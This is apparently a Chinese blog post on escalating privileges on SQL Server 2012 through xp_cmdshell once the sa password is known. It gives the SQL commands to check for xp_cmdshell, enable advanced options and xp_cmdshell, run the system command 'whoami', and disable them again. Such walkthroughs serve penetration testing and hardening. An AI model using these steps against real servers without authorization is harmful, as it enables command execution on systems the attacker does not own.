Sql Server 2012 xp_cmdshell提权

xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令
在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权
在这里以Windows Server 2012 和 Sql Server 2012为例进行测试

1.查看xp_cmdshell状态

首先通过管理工具来查看xp_cmdshell状态
右击实例名->方面


image.png

选择外围应用配置器


image.png

可以看到现在的xp_cmdshell是关闭状态
image.png

然后我们通过sql指令来查看是否存在xp_cmdshell

右击数据库,新建查询,执行以下命令

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
image.png

可以看到返回结果是1

2.开启xp_cmdshell

命令如下

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
image.png

可以看到报错提示xp_cmdshell不存在也可能是高级选项
前面已经通过命令查询存在xp_cmdshell组件,那只可能是高级选项
通过命令开启允许编辑高级选项,命令如下

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
image.png

然后再去开启xp_cmdshell


image.png

3.通过xp_cmdshell执行系统命令

通过xp_cmdshell执行系统命令指令如下

master..xp_cmdshell 'whoami'
image.png

4.关闭xp_cmdshell

和刚才一样,只不过需要把1改为0

EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO
image.png

同样,关闭高级选项编辑也是

EXEC sp_configure 'show advanced options', 0
GO
RECONFIGURE
GO
image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 这个国庆7天假过的很匆忙,本想回家好好休息玩玩,没想到最后却做了苦力工,好累。明天就要走了,还会路过耒阳城市。 这...
    岚风的叶子阅读 269评论 0 0
  • 江如意的手机最近坏了,坏也没完全坏死,还能打电话,就是随时都可能自动关机。江如意刚买了一身山寨耐克运动装和一双鞋,...
    嘿_PANDA阅读 665评论 0 1
  • 最近很少写和你的故事,第一是没时间,第二是自己时好时坏,影响文字的感觉。 最近,我俩是我和你。 我总有我的为什么,...
    二虫贝贝阅读 163评论 0 0